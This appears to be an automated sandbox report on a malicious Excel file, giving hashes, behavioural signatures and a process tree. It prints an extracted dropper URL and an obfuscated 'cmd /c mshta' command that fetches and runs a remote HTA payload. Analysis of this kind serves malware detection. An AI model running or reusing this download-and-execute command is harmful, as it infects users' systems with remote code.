Analysis

  • max time kernel
    144s
  • max time network
    154s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    20-01-2022 09:10

General

  • Target

    8dbb2081a977b17fb9eeccef92e75765fd2d58c871f2e1af3f39ae5336e6b177.xls

  • Size

    142KB

  • MD5

    994d78ed4f375307b15d5886b8c7b1df

  • SHA1

    1f9fbed0fa4a791a6765351b8a242a79ec80d257

  • SHA256

    8dbb2081a977b17fb9eeccef92e75765fd2d58c871f2e1af3f39ae5336e6b177

  • SHA512

    46b2b712071a87aad30f11b86be7a02f80ada10655762f263e8aaa9888b03b148fb49f73d565d2aedb10d9c7840c0737525bb5302e85f97ce85e9aa1da5b65f7

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0xb907d607/fer/fer.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\8dbb2081a977b17fb9eeccef92e75765fd2d58c871f2e1af3f39ae5336e6b177.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2712
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:3848
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
        2⤵
        • Process spawned unexpected child process
        PID:360
        • C:\Windows\system32\mshta.exe
          mshta http://0xb907d607/fer/fer.html
          3⤵
          • Blocklisted process makes network request
          PID:3020

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2712-115-0x00007FFE3E940000-0x00007FFE3E950000-memory.dmp

      Filesize

      64KB

    • memory/2712-116-0x00007FFE3E940000-0x00007FFE3E950000-memory.dmp

      Filesize

      64KB

    • memory/2712-117-0x00007FFE3E940000-0x00007FFE3E950000-memory.dmp

      Filesize

      64KB

    • memory/2712-118-0x00007FFE3E940000-0x00007FFE3E950000-memory.dmp

      Filesize

      64KB

    • memory/2712-121-0x00007FFE3E940000-0x00007FFE3E950000-memory.dmp

      Filesize

      64KB

    • memory/2712-128-0x00007FFE3ADD0000-0x00007FFE3ADE0000-memory.dmp

      Filesize

      64KB

    • memory/2712-129-0x00007FFE3ADD0000-0x00007FFE3ADE0000-memory.dmp

      Filesize

      64KB

    • memory/2712-503-0x00007FFE3E940000-0x00007FFE3E950000-memory.dmp

      Filesize

      64KB

    • memory/2712-504-0x00007FFE3E940000-0x00007FFE3E950000-memory.dmp

      Filesize

      64KB

    • memory/2712-505-0x00007FFE3E940000-0x00007FFE3E950000-memory.dmp

      Filesize

      64KB

    • memory/2712-506-0x00007FFE3E940000-0x00007FFE3E950000-memory.dmp

      Filesize

      64KB